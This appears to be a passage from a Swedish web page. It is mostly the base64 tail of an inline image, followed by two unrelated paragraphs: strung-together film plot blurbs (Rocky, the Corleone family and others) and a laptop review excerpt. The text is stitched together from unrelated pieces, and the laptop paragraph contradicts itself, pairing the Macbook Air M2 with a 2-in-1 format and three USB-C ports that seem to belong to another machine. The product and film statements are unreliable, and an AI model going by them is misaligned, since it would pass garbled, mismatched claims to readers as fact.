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"/></p>
<p>När hans osäkerhet saboterar deras förhållande lämnar Annie honom för ett nytt liv och en ny älskare i L.A. Klassisk berättelse om Rocky Balboa, en medioker boxare på dekis från Philadelphia, som får en ny chans i livet när han får möjligheten att vara med och slåss om tungviktstiteln. När han hamnar på ett mentalsjukhus försöker han liva upp stämningen genom att bland annat spela kort och basket med de andra patienterna. Vito Corleone är skeptisk och går emot det. Det är början till en maktkamp mellan de två familjerna och plötsligt är Vito Corleone och hans familj i livsfara.</p>
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<p>Dessutom kommer den i ett snyggt paket med modern design som både erbjuder funktionalitet och estetik. Här får den bäst betyg tack vare sin enastående kombination av portabilitet och prestanda, som gör den till en effektiv arbetsmaskin som dessutom är enkel att ta med. Experterna på The Verge ger förstaplatsen till Macbook Air M2 i sitt senaste test av bästa laptops 2023. Du får hög prestanda, ett flexibelt 2-i-1-format och en snygg skärm. Ett plus är att datorn har tre USB-C portar, så du kan enkelt ansluta flera tillbehör utan att använda en adapter.</p>
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